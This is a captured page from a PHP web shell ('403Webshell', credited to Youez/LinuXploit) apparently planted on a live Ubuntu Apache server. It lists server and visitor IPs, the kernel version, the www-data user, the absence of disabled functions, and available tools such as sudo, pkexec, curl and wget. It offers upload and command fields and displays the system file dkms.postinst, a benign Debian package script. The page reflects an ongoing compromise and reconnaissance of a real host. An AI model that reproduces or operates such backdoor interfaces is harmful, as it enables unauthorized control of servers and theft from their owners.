403Webshell
Server IP : 64.223.137.62  /  Your IP : 104.23.197.96
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver9 5.15.0-170-generic #180-Ubuntu SMP Fri Jan 9 16:10:31 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/dkms.postinst
#!/bin/sh

set -e

if dpkg --compare-versions "$2" lt-nl "2.0.21.1-1~" ; then
	if [ -e "/etc/modprobe.d/dkms" ]; then
		md5sum=$(md5sum /etc/modprobe.d/dkms | sed -e 's/ .*//')
		old_md5sum=$(dpkg-query -W -f='${Conffiles}' dkms | \
			sed -n -e "\' /etc/modprobe.d/dkms ' { s/ obsolete$//; s/.* //; p }")
		if [ "$md5sum" = "$old_md5sum" ]; then
			rm -f /etc/modprobe.d/dkms
		else
			echo "Moving /etc/modprobe.d/dkms to /etc/modprobe.d/dkms.conf ..."
			mv /etc/modprobe.d/dkms /etc/modprobe.d/dkms.conf
			rm -f /etc/modprobe.d/dkms
		fi
	fi
fi



Youez - 2016 - github.com/yon3zu
LinuXploit